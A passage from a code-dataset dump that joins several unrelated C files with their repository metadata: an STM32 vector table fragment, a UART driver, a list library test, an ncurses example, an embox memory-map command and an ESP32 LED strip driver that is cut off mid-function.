DMA1_Channel2_3_IRQHandler,
DMA1_Ch4_5_DMAMUX1_OVR_IRQHandler,
ADC1_IRQHandler,
TIM1_BRK_UP_TRG_COM_IRQHandler,
TIM1_CC_IRQHandler,
TIM2_IRQHandler,
TIM3_IRQHandler,
LPTIM1_IRQHandler,
LPTIM2_IRQHandler,
TIM14_IRQHandler,
0,
TIM16_IRQHandler,
TIM17_IRQHandler,
I2C1_IRQHandler,
I2C2_IRQHandler,
SPI1_IRQHandler,
SPI2_IRQHandler,
USART1_IRQHandler,
USART2_IRQHandler,
LPUART1_IRQHandler,
0
};
| 2.046875 | 2 |
2024-11-18T20:50:19.403094+00:00 | 2021-01-10T10:06:39 | cf3bfa44eaf4d94b63e919fc61d0cde8053b17c7 | {
"blob_id": "cf3bfa44eaf4d94b63e919fc61d0cde8053b17c7",
"branch_name": "refs/heads/master",
"committer_date": "2021-01-10T10:06:39",
"content_id": "64005b534eadafd247f57a7dcdcbf6ab5098b312",
"detected_licenses": [
"MIT"
],
"directory_id": "9bc53723c4d4367f17cb11dfd1c35eea3cf3d91a",
"extension": "c",
"filename": "uart.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 255402198,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 3552,
"license": "MIT",
"license_type": "permissive",
"path": "/shared/uart.c",
"provenance": "stackv2-0118.json.gz:36861",
"repo_name": "emwhbr/stm32-bluepill",
"revision_date": "2021-01-10T10:06:39",
"revision_id": "aa273bf2b1bc5fcb47559ed8c483550539d46f5b",
"snapshot_id": "1a84ec75f41cab2e50f4a87605a0c9dcdba2b61e",
"src_encoding": "UTF-8",
"star_events_count": 2,
"url": "https://raw.githubusercontent.com/emwhbr/stm32-bluepill/aa273bf2b1bc5fcb47559ed8c483550539d46f5b/shared/uart.c",
"visit_date": "2023-02-13T08:55:53.063772"
} | stackv2 | #include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
#include "libopencm3/stm32/rcc.h"
#include "libopencm3/stm32/gpio.h"
#include "libopencm3/stm32/usart.h"
#include <libopencm3/cm3/nvic.h>
#include "uart.h"
// we are not using interrupt yet
#if 0
/////////////////////////////////////////////////////////////
#define UART_RX_BUF_SIZE (16)
// circular receiver buffer
struct uart_rx_buffer
{
volatile uint8_t head; // next index to read from
volatile uint8_t tail; // next index to write to
uint8_t data[UART_RX_BUF_SIZE];
};
static struct uart_rx_buffer* volatile rx_buffer = 0;
/////////////////////////////////////////////////////////////
void usart1_isr(void)
{
char ch;
uint32_t ntail;
if (!rx_buffer)
{
return;
}
while (USART_SR(USART1) & USART_SR_RXNE)
{
ch = USART_DR(USART1);
ntail = (rx_buffer->tail + 1) % UART_RX_BUF_SIZE; // next tail index
// write to the receive buffer if is not full
if (ntail != rx_buffer->head)
{
rx_buffer->data[rx_buffer->tail] = ch; // write to buffer
rx_buffer->tail = ntail; // update tail index
}
}
}
#endif
/////////////////////////////////////////////////////////////
static void uart_puts(const char *str)
{
if (str != NULL)
{
for (size_t i=0; i < strlen(str); i++)
{
uart_putc(str[i]);
if (str[i] == '\n')
{
uart_putc('\r');
}
}
}
}
/////////////////////////////////////////////////////////////
static void uart_vprint(const char *fmt, va_list argp)
{
char str[200];
if (0 < vsprintf(str, fmt, argp))
{
uart_puts(str);
}
}
/////////////////////////////////////////////////////////////
void uart_init(void)
{
// clock for GPIO port A: USART1
rcc_periph_clock_enable(RCC_GPIOA);
rcc_periph_clock_enable(RCC_USART1);
// TX: PA9
gpio_set_mode(GPIOA,
GPIO_MODE_OUTPUT_50_MHZ,
GPIO_CNF_OUTPUT_ALTFN_PUSHPULL,
GPIO_USART1_TX);
// RX : PA10
gpio_set_mode(GPIOA,
GPIO_MODE_INPUT,
GPIO_CNF_INPUT_FLOAT,
GPIO_USART1_RX);
// 115200-8-N-1
usart_set_baudrate(USART1, 115200);
usart_set_databits(USART1, 8);
usart_set_stopbits(USART1, USART_STOPBITS_1);
usart_set_mode(USART1, USART_MODE_TX_RX);
usart_set_parity(USART1, USART_PARITY_NONE);
usart_set_flow_control(USART1, USART_FLOWCONTROL_NONE);
#if 0
// create the receive buffer
rx_buffer = malloc(sizeof(struct uart_rx_buffer));
rx_buffer->head = 0;
rx_buffer->tail = 0;
memset(rx_buffer, 0, sizeof(struct uart_rx_buffer));
#endif
#if 0
// enable interrupt and start USART1
nvic_enable_irq(NVIC_USART1_IRQ);
usart_enable_rx_interrupt(USART1);
#endif
usart_enable(USART1);
}
/////////////////////////////////////////////////////////////
void uart_putc(char c)
{
// send message via USART
usart_send_blocking(USART1, c);
}
/////////////////////////////////////////////////////////////
void uart_printf(const char *fmt, ...)
{
va_list argp;
va_start(argp, fmt);
uart_vprint(fmt, argp);
va_end(argp);
}
/////////////////////////////////////////////////////////////
char uart_getc(void)
{
while (1)
{
if ( (USART_SR(USART1) & USART_SR_RXNE) == USART_SR_RXNE )
{
break;
}
}
return USART_DR(USART1);
}
/////////////////////////////////////////////////////////////
char uart_poll(void)
{
char ch = 0;
if ( (USART_SR(USART1) & USART_SR_RXNE) == USART_SR_RXNE )
{
ch = USART_DR(USART1);
}
return ch;
}
| 2.953125 | 3 |
2024-11-18T20:50:23.291895+00:00 | 2020-05-19T09:30:56 | 8711547ab4fa4c9718a456745b6aa29a78b35745 | {
"blob_id": "8711547ab4fa4c9718a456745b6aa29a78b35745",
"branch_name": "refs/heads/master",
"committer_date": "2020-05-19T09:30:56",
"content_id": "79039fc749352e6ff33de80422a079c3ab952a22",
"detected_licenses": [
"Unlicense"
],
"directory_id": "ce39e5e318d33fe9b233143291cfdae6e68261f9",
"extension": "c",
"filename": "test1-List.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 280652999,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 978,
"license": "Unlicense",
"license_type": "permissive",
"path": "/task8(lab7)/test/test1-List.c",
"provenance": "stackv2-0118.json.gz:37117",
"repo_name": "laissezfaireisfair/Tasks-2-semester",
"revision_date": "2020-05-19T09:30:56",
"revision_id": "428811c7080a3280cfbc0bd0ba0262633cb53b1d",
"snapshot_id": "b0033470ad9e803638dbe8a40da0aec50686d9c3",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/laissezfaireisfair/Tasks-2-semester/428811c7080a3280cfbc0bd0ba0262633cb53b1d/task8(lab7)/test/test1-List.c",
"visit_date": "2022-11-18T11:51:33.974395"
} | stackv2 | #include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include "String.h"
#include "List.h"
int main() {
List list = make_list();
if (list.head == NULL)
printf("Making list - OK\n");
else
printf("Making list - WRONG\n");
String str = make_str();
init_str(&str, 256);
assert(add_symbol('a', &str) == OK);
assert(add_symbol('b', &str) == OK);
assert(add_symbol('c', &str) == OK);
push_back(&list, str);
// Should be ["abc"]
int cmp1;
assert(compare_string(&str, &list.head->value, &cmp1) == OK);
if (cmp1 != 0)
printf("Push back - OK\n");
else {
printf("Push back - WRONG\n");
exit(1);
}
String strFromList = pop_back(&list);
// Should be []
int cmp2;
assert(compare_string(&str, &strFromList, &cmp2) == OK);
if (cmp2 != 0 && list.head == NULL)
printf("Pop back - OK\n");
else
printf("Pop back - WRONG\n");
delete_list(&list);
deinit_str(&str);
deinit_str(&strFromList);
return 0;
}
| 3.03125 | 3 |
2024-11-18T20:50:23.720778+00:00 | 2019-10-03T00:48:02 | 1a7d4fd7631152d00f7ebea4ef4919d69ad5e99d | {
"blob_id": "1a7d4fd7631152d00f7ebea4ef4919d69ad5e99d",
"branch_name": "refs/heads/master",
"committer_date": "2019-10-03T00:48:02",
"content_id": "2d0a383c2a2e676146b8b4342910ba7b719a396c",
"detected_licenses": [
"MIT"
],
"directory_id": "916d0d4896b4291ff768afd855e94415838062a7",
"extension": "c",
"filename": "init_example.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 112428595,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 594,
"license": "MIT",
"license_type": "permissive",
"path": "/ncurses/init_example.c",
"provenance": "stackv2-0118.json.gz:37376",
"repo_name": "JohnnyGOX17/c-cpp-lib",
"revision_date": "2019-10-03T00:48:02",
"revision_id": "b33d9cf84434c70b7038f5c77d90c71ef32e977a",
"snapshot_id": "d87245a4b96880bee15fe8f418ea57f4768635d2",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/JohnnyGOX17/c-cpp-lib/b33d9cf84434c70b7038f5c77d90c71ef32e977a/ncurses/init_example.c",
"visit_date": "2022-03-02T20:01:25.603422"
} | stackv2 | #include <ncurses.h>
int main()
{
int ch;
initscr();
raw(); /* disable line buffering */
keypad(stdscr, TRUE); /* Get function & arrow keys */
noecho(); /* don't echo user input */
printw("Type any character to see it in bold\n");
ch = getch(); /* If raw() not called, user would
* have to press enter before it
* gets to the program */
if(ch == KEY_F(1)) {
printw("F1 Key pressed");
}
else {
printw("The key pressed is: ");
attron(A_BOLD);
printw("%c", ch);
attroff(A_BOLD);
}
refresh();
getch(); /* wait for user input */
endwin();
return 0;
}
| 3.078125 | 3 |
2024-11-18T20:50:23.909409+00:00 | 2019-04-17T08:10:36 | 9369fe6001f2594f2e44451d66896620ae8cccd1 | {
"blob_id": "9369fe6001f2594f2e44451d66896620ae8cccd1",
"branch_name": "refs/heads/master",
"committer_date": "2019-04-17T08:10:36",
"content_id": "56a0fdbf65ee5eafe4d045ecc6e1eac86e269438",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "9a09a9ec952a760423f165c11213c9e7c72ac758",
"extension": "c",
"filename": "memmap.c",
"fork_events_count": 0,
"gha_created_at": "2018-07-10T10:23:54",
"gha_event_created_at": "2019-04-17T09:21:50",
"gha_language": "C",
"gha_license_id": "NOASSERTION",
"github_id": 140415393,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1159,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/src/cmds/memmap.c",
"provenance": "stackv2-0118.json.gz:37633",
"repo_name": "jackbogdanov/embox",
"revision_date": "2019-04-17T08:10:36",
"revision_id": "e433610eb3f00d3a641c40c4dddb6a988f99b5c4",
"snapshot_id": "646dd6fc7d43e0355ecf951b763411293636a35b",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/jackbogdanov/embox/e433610eb3f00d3a641c40c4dddb6a988f99b5c4/src/cmds/memmap.c",
"visit_date": "2020-03-22T17:46:58.445207"
} | stackv2 | /**
* @file
*
* @date Oct 8, 2012
* @author: Anton Bondarev
*/
#include <unistd.h>
#include <stdio.h>
#include <mem/phymem.h>
#include <stdint.h>
static void print_usage(void) {
printf("Usage: memmap [-hra]\n");
}
extern char _ram_base;
extern char _ram_size;
static void show_regions(void) {
printf("| region name | start | end | size | free |\n");
printf("| sdram | 0x%8X | 0x%8X | 0x%8X | 0x%8X |\n",
(uint32_t)&_ram_base,
(uint32_t)&_ram_base + (uint32_t)&_ram_size,
(uint32_t)__phymem_end, (uint32_t)__phymem_allocator->free);
#if 0
phymem_alloc(0x10);
printf("| sdram | 0x%8X | 0x%8X | 0x%8X | 0x%8X |\n",
(uint32_t)&_ram_base,
(uint32_t)&_ram_base + (uint32_t)&_ram_size,
(uint32_t)__phymem_end, __phymem_allocator->free);
#endif
}
static void show_all(void) {
}
int main(int argc, char **argv) {
int opt;
getopt_init();
while (-1 != (opt = getopt(argc, argv, "hra"))) {
switch (opt) {
case 'h':
print_usage();
return 0;
case 'r':
show_regions();
return 0;
case 'a':
show_all();
return 0;
default:
show_regions();
return 0;
}
}
return 0;
}
| 2.53125 | 3 |
2024-11-18T20:50:24.608241+00:00 | 2018-12-12T13:52:43 | d39453b2cad67913957d7d796a3a6a1bd42cd709 | {
"blob_id": "d39453b2cad67913957d7d796a3a6a1bd42cd709",
"branch_name": "refs/heads/master",
"committer_date": "2018-12-12T13:52:43",
"content_id": "d4399947abc7c8c4abb113da51ce3f9e0f55504d",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "2cee9afbdc456f47284ef07b587e1a0a63f4d494",
"extension": "c",
"filename": "led_strip.c",
"fork_events_count": 1,
"gha_created_at": "2018-06-28T18:41:35",
"gha_event_created_at": "2018-06-28T18:41:35",
"gha_language": null,
"gha_license_id": null,
"github_id": 139055882,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 33665,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/led_strip.c",
"provenance": "stackv2-0118.json.gz:38278",
"repo_name": "tmedicci/ESP32_LED_STRIP",
"revision_date": "2018-12-12T13:52:43",
"revision_id": "aeb78d0420c28a8ce6130cf90a46ce738f44b320",
"snapshot_id": "974faa060263a36a6f47105ca08856f601e7e328",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/tmedicci/ESP32_LED_STRIP/aeb78d0420c28a8ce6130cf90a46ce738f44b320/led_strip.c",
"visit_date": "2020-03-21T21:17:03.479010"
} | stackv2 | /* ----------------------------------------------------------------------------
File: led_strip.c
Author(s): Lucas Bruder <LBruder@me.com>
Date Created: 11/23/2016
Last modified: 11/26/2016
Description: LED Library for driving various led strips on ESP32.
This library uses double buffering to display the LEDs.
If the driver is showing buffer 1, any calls to led_strip_set_pixel_color
will write to buffer 2. When it's time to drive the pixels on the strip, it
refers to buffer 1.
When led_strip_show is called, it will switch to displaying the pixels
from buffer 2 and will clear buffer 1. Any writes will now happen on buffer 1
and the task will look at buffer 2 for refreshing the LEDs
------------------------------------------------------------------------- */
#include "led_strip.h"
#define LED_STRIP_TASK_SIZE 2*1024
#define LED_STRIP_TASK_PRIORITY (configMAX_PRIORITIES - 1)
#define LED_STRIP_REFRESH_PERIOD_MS (30U) // TODO: add as parameter to led_strip_init
#define EFFECT_CHANGE_CHECK_PERIOD_MS (500U)//Period to check the effect parameters has changed
#define LED_STRIP_NUM_RMT_ITEMS_PER_LED (24U) // Assumes 24 bit color for each led
#define LED_STRIP_EFFECT_TASK_SIZE 4*1024
#define LED_STRIP_EFFECT_TASK_PRIORITY (configMAX_PRIORITIES - 2)
// RMT Clock source is @ 80 MHz. Dividing it by 8 gives us 10 MHz frequency, or 100ns period.
#define LED_STRIP_RMT_CLK_DIV (8)
/****************************
WS2812 Timing
****************************/
#define LED_STRIP_RMT_TICKS_BIT_1_HIGH_WS2812 9 // 900ns (900ns +/- 150ns per datasheet)
#define LED_STRIP_RMT_TICKS_BIT_1_LOW_WS2812 3 // 300ns (350ns +/- 150ns per datasheet)
#define LED_STRIP_RMT_TICKS_BIT_0_HIGH_WS2812 3 // 300ns (350ns +/- 150ns per datasheet)
#define LED_STRIP_RMT_TICKS_BIT_0_LOW_WS2812 9 // 900ns (900ns +/- 150ns per datasheet)
/****************************
SK6812 Timing
****************************/
#define LED_STRIP_RMT_TICKS_BIT_1_HIGH_SK6812 6
#define LED_STRIP_RMT_TICKS_BIT_1_LOW_SK6812 6
#define LED_STRIP_RMT_TICKS_BIT_0_HIGH_SK6812 3
#define LED_STRIP_RMT_TICKS_BIT_0_LOW_SK6812 9
/****************************
APA106 Timing
****************************/
#define LED_STRIP_RMT_TICKS_BIT_1_HIGH_APA106 14 // 1.36us +/- 150ns per datasheet
#define LED_STRIP_RMT_TICKS_BIT_1_LOW_APA106 3 // 350ns +/- 150ns per datasheet
#define LED_STRIP_RMT_TICKS_BIT_0_HIGH_APA106 3 // 350ns +/- 150ns per datasheet
#define LED_STRIP_RMT_TICKS_BIT_0_LOW_APA106 14 // 1.36us +/- 150ns per datasheet
const char *TAG = "LED_STRIP";
static TaskHandle_t led_strip_effect_task_handle = NULL;
static xQueueHandle effect_queue_handle = NULL;
// Function pointer for generating waveforms based on different LED drivers
typedef void (*led_fill_rmt_items_fn)(struct led_color_t *led_strip_buf, rmt_item32_t *rmt_items, uint32_t led_strip_length);
static inline void led_strip_fill_item_level(rmt_item32_t* item, int high_ticks, int low_ticks)
{
item->level0 = 1;
item->duration0 = high_ticks;
item->level1 = 0;
item->duration1 = low_ticks;
}
static inline void led_strip_rmt_bit_1_sk6812(rmt_item32_t* item)
{
led_strip_fill_item_level(item, LED_STRIP_RMT_TICKS_BIT_1_HIGH_SK6812, LED_STRIP_RMT_TICKS_BIT_1_LOW_SK6812);
}
static inline void led_strip_rmt_bit_0_sk6812(rmt_item32_t* item)
{
led_strip_fill_item_level(item, LED_STRIP_RMT_TICKS_BIT_0_HIGH_SK6812, LED_STRIP_RMT_TICKS_BIT_0_LOW_SK6812);
}
static void led_strip_fill_rmt_items_sk6812(struct led_color_t *led_strip_buf, rmt_item32_t *rmt_items, uint32_t led_strip_length)
{
uint32_t rmt_items_index = 0;
for (uint32_t led_index = 0; led_index < led_strip_length; led_index++) {
struct led_color_t led_color = led_strip_buf[led_index];
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.green >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_sk6812(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_sk6812(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.red >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_sk6812(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_sk6812(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.blue >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_sk6812(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_sk6812(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
}
}
static inline void led_strip_rmt_bit_1_ws2812(rmt_item32_t* item)
{
led_strip_fill_item_level(item, LED_STRIP_RMT_TICKS_BIT_1_HIGH_WS2812, LED_STRIP_RMT_TICKS_BIT_1_LOW_WS2812);
}
static inline void led_strip_rmt_bit_0_ws2812(rmt_item32_t* item)
{
led_strip_fill_item_level(item, LED_STRIP_RMT_TICKS_BIT_0_HIGH_WS2812, LED_STRIP_RMT_TICKS_BIT_0_LOW_WS2812);
}
static void led_strip_fill_rmt_items_ws2812(struct led_color_t *led_strip_buf, rmt_item32_t *rmt_items, uint32_t led_strip_length)
{
uint32_t rmt_items_index = 0;
for (uint32_t led_index = 0; led_index < led_strip_length; led_index++) {
struct led_color_t led_color = led_strip_buf[led_index];
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.green >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_ws2812(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_ws2812(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.red >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_ws2812(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_ws2812(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.blue >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_ws2812(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_ws2812(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
}
}
static inline void led_strip_rmt_bit_1_apa106(rmt_item32_t* item)
{
led_strip_fill_item_level(item, LED_STRIP_RMT_TICKS_BIT_1_HIGH_APA106, LED_STRIP_RMT_TICKS_BIT_1_LOW_APA106);
}
static inline void led_strip_rmt_bit_0_apa106(rmt_item32_t* item)
{
led_strip_fill_item_level(item, LED_STRIP_RMT_TICKS_BIT_0_HIGH_APA106, LED_STRIP_RMT_TICKS_BIT_0_LOW_APA106);
}
static void led_strip_fill_rmt_items_apa106(struct led_color_t *led_strip_buf, rmt_item32_t *rmt_items, uint32_t led_strip_length)
{
uint32_t rmt_items_index = 0;
for (uint32_t led_index = 0; led_index < led_strip_length; led_index++) {
struct led_color_t led_color = led_strip_buf[led_index];
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.red >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_apa106(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_apa106(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.green >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_apa106(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_apa106(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
for (uint8_t bit = 8; bit != 0; bit--) {
uint8_t bit_set = (led_color.blue >> (bit - 1)) & 1;
if(bit_set) {
led_strip_rmt_bit_1_apa106(&(rmt_items[rmt_items_index]));
} else {
led_strip_rmt_bit_0_apa106(&(rmt_items[rmt_items_index]));
}
rmt_items_index++;
}
}
}
static void led_strip_task(void *arg)
{
struct led_strip_t *led_strip = (struct led_strip_t *)arg;
led_fill_rmt_items_fn led_make_waveform = NULL;
bool make_new_rmt_items = true;
bool prev_showing_buf_1 = !led_strip->showing_buf_1;
size_t num_items_malloc = (LED_STRIP_NUM_RMT_ITEMS_PER_LED * led_strip->led_strip_length);
rmt_item32_t *rmt_items = (rmt_item32_t*) malloc(sizeof(rmt_item32_t) * num_items_malloc);
if (!rmt_items) {
vTaskDelete(NULL);
}
switch (led_strip->rgb_led_type) {
case RGB_LED_TYPE_WS2812:
led_make_waveform = led_strip_fill_rmt_items_ws2812;
break;
case RGB_LED_TYPE_SK6812:
led_make_waveform = led_strip_fill_rmt_items_sk6812;
break;
case RGB_LED_TYPE_APA106:
led_make_waveform = led_strip_fill_rmt_items_apa106;
break;
default:
// Will avoid keeping it point to NULL
led_make_waveform = led_strip_fill_rmt_items_ws2812;
break;
};
for(;;) {
rmt_wait_tx_done(led_strip->rmt_channel, portMAX_DELAY);
xSemaphoreTake(led_strip->access_semaphore, portMAX_DELAY);
/*
* If buf 1 was previously being shown and now buf 2 is being shown,
* it should update the new rmt items array. If buf 2 was previous being shown
* and now buf 1 is being shown, it should update the new rmt items array.
* Otherwise, no need to update the array
*/
if ((prev_showing_buf_1 == true) && (led_strip->showing_buf_1 == false)) {
make_new_rmt_items = true;
} else if ((prev_showing_buf_1 == false) && (led_strip->showing_buf_1 == true)) {
make_new_rmt_items = true;
} else {
make_new_rmt_items = false;
}
if (make_new_rmt_items) {
if (led_strip->showing_buf_1) {
led_make_waveform(led_strip->led_strip_buf_1, rmt_items, led_strip->led_strip_length);
} else {
led_make_waveform(led_strip->led_strip_buf_2, rmt_items, led_strip->led_strip_length);
}
}
rmt_write_items(led_strip->rmt_channel, rmt_items, num_items_malloc, false);
prev_showing_buf_1 = led_strip->showing_buf_1;
xSemaphoreGive(led_strip->access_semaphore);
vTaskDelay(LED_STRIP_REFRESH_PERIOD_MS / portTICK_PERIOD_MS);
}
if (rmt_items) {
free(rmt_items);
}
vTaskDelete(NULL);
}
static bool led_strip_init_rmt(struct led_strip_t *led_strip)
{
rmt_config_t rmt_cfg = {
.rmt_mode = RMT_MODE_TX,
.channel = led_strip->rmt_channel,
.clk_div = LED_STRIP_RMT_CLK_DIV,
.gpio_num = led_strip->gpio,
.mem_block_num = 1,
.tx_config = {
.loop_en = false,
.carrier_freq_hz = 100, // Not used, but has to be set to avoid divide by 0 err
.carrier_duty_percent = 50,
.carrier_level = RMT_CARRIER_LEVEL_LOW,
.carrier_en = false,
.idle_level = RMT_IDLE_LEVEL_LOW,
.idle_output_en = true,
}
};
esp_err_t cfg_ok = rmt_config(&rmt_cfg);
if (cfg_ok != ESP_OK) {
return false;
}
esp_err_t install_ok = rmt_driver_install(rmt_cfg.channel, 0, 0);
if (install_ok != ESP_OK) {
return false;
}
return true;
}
bool led_strip_init(struct led_strip_t *led_strip)
{
TaskHandle_t led_strip_task_handle;
if ((led_strip == NULL) ||
(led_strip->rmt_channel == RMT_CHANNEL_MAX) ||
(led_strip->gpio > GPIO_NUM_33) || // only inputs above 33
(led_strip->led_strip_buf_1 == NULL) ||
(led_strip->led_strip_buf_2 == NULL) ||
(led_strip->led_strip_length == 0) ||
(led_strip->access_semaphore == NULL)) {
return false;
}
if(led_strip->led_strip_buf_1 == led_strip->led_strip_buf_2) {
return false;
}
memset(led_strip->led_strip_buf_1, 0, sizeof(struct led_color_t) * led_strip->led_strip_length);
memset(led_strip->led_strip_buf_2, 0, sizeof(struct led_color_t) * led_strip->led_strip_length);
bool init_rmt = led_strip_init_rmt(led_strip);
if (!init_rmt) {
return false;
}
xSemaphoreGive(led_strip->access_semaphore);
BaseType_t task_created = xTaskCreate(led_strip_task,
"led_strip_task",
LED_STRIP_TASK_SIZE,
led_strip,
LED_STRIP_TASK_PRIORITY,
&led_strip_task_handle
);
if (!task_created) {
return false;
}
led_strip_effect_task_handle = NULL;
return true;
}
bool led_strip_set_pixel_color(struct led_strip_t *led_strip, uint32_t pixel_num, struct led_color_t *color)
{
bool set_led_success = true;
if ((!led_strip) || (!color) || (pixel_num > led_strip->led_strip_length)) {
return false;
}
if (led_strip->showing_buf_1) {
led_strip->led_strip_buf_2[pixel_num] = *color;
} else {
led_strip->led_strip_buf_1[pixel_num] = *color;
}
return set_led_success;
}
bool led_strip_set_pixel_rgb(struct led_strip_t *led_strip, uint32_t pixel_num, uint8_t red, uint8_t green, uint8_t blue)
{
bool set_led_success = true;
if ((!led_strip) || (pixel_num > led_strip->led_strip_length)) {
return false;
}
if (led_strip->showing_buf_1) {
led_strip->led_strip_buf_2[pixel_num].red = red;
led_strip->led_strip_buf_2[pixel_num].green = green;
led_strip->led_strip_buf_2[pixel_num].blue = blue;
} else {
led_strip->led_strip_buf_1[pixel_num].red = red;
led_strip->led_strip_buf_1[pixel_num].green = green;
led_strip->led_strip_buf_1[pixel_num].blue = blue;
}
return set_led_success;
}
bool led_strip_get_pixel_color(struct led_strip_t *led_strip, uint32_t pixel_num, struct led_color_t *color)
{
bool get_success = true;
if ((!led_strip) ||
(pixel_num > led_strip->led_strip_length) ||
(!color)) {
color = NULL;
return false;
}
if (led_strip->showing_buf_1) {
*color = led_strip->led_strip_buf_1[pixel_num];
} else {
*color = led_strip->led_strip_buf_2[pixel_num];
}
return get_success;
}
/**
* Updates the led buffer to be shown
*/
bool led_strip_show(struct led_strip_t *led_strip)
{
bool success = true;
if (!led_strip) {
return false;
}
xSemaphoreTake(led_strip->access_semaphore, portMAX_DELAY);
if (led_strip->showing_buf_1) {
led_strip->showing_buf_1 = false;
memset(led_strip->led_strip_buf_1, 0, sizeof(struct led_color_t) * led_strip->led_strip_length);
} else {
led_strip->showing_buf_1 = true;
memset(led_strip->led_strip_buf_2, 0, sizeof(struct led_color_t) * led_strip->led_strip_length);
}
xSemaphoreGive(led_strip->access_semaphore);
return success;
}
/**
* Clears the LED strip
*/
bool led_strip_clear(struct led_strip_t *led_strip)
{
bool success = true;
if (!led_strip) {
return false;
}
if(led_strip_effect_task_handle != NULL) //Check if the effect task is executing
{
led_strip_set_effect(led_strip, CLEAR, NULL);
}else
{
if (led_strip->showing_buf_1) {
memset(led_strip->led_strip_buf_2, 0, sizeof(struct led_color_t) * led_strip->led_strip_length);
} else {
memset(led_strip->led_strip_buf_1, 0, sizeof(struct led_color_t) * led_strip->led_strip_length);
}
led_strip_show(led_strip);
}
return success;
}
static void led_strip_effect_task(void *arg)
{
struct led_strip_effect_t received_led_strip_effect_from_queue;
int data_received;
struct effect_rgb_args_t *effect_rgb_args = NULL;
struct effect_static_color_args_t *effect_static_color_args = NULL;
struct effect_timed_on_fade_out_args_t *effect_timed_on_fade_out_args = NULL;
struct effect_timed_fade_in_off_args_t *effect_timed_fade_in_off_args = NULL;
struct led_color_t effect_color;
uint16_t index;
uint16_t internal_counter = 0;
int64_t temp_microseconds = 0;
memset(&curent_led_strip_effect, 0, sizeof(struct led_strip_effect_t));
memset(&received_led_strip_effect_from_queue, 0, sizeof(struct led_strip_effect_t));
while(true)
{
/* If it has received new data from queue, free args from all effects */
if( (data_received = xQueueReceive(effect_queue_handle, &received_led_strip_effect_from_queue, 0)) == pdTRUE )
{
/* check if there is any difference between current curent_led_strip_effect and received_led_strip_effect_from_queue */
if(received_led_strip_effect_from_queue.restart_effect)
{
ESP_LOGI(TAG, "New effect data available!");
memcpy(&curent_led_strip_effect, &received_led_strip_effect_from_queue, sizeof(struct led_strip_effect_t));
/* If so, refresh effect configuration */
switch (curent_led_strip_effect.effect_type) {
case RGB:
effect_rgb_args = (struct effect_rgb_args_t *)curent_led_strip_effect.effect_args;
ESP_LOGD(TAG, "Effect: RGB. Speed = %d", effect_rgb_args->speed);
break;
case COLOR:
effect_static_color_args = (struct effect_static_color_args_t *)curent_led_strip_effect.effect_args;
ESP_LOGD(TAG, "Effect: Static Color. Color = %d,%d,%d"
,effect_static_color_args->effect_color.red
,effect_static_color_args->effect_color.green
,effect_static_color_args->effect_color.blue);
break;
case TIMED_ON_FADE_OUT:
effect_timed_on_fade_out_args = (struct effect_timed_on_fade_out_args_t *)curent_led_strip_effect.effect_args;
effect_timed_on_fade_out_args->step_counter =
max(max(effect_timed_on_fade_out_args->effect_color.red,effect_timed_on_fade_out_args->effect_color.green),effect_timed_on_fade_out_args->effect_color.blue);
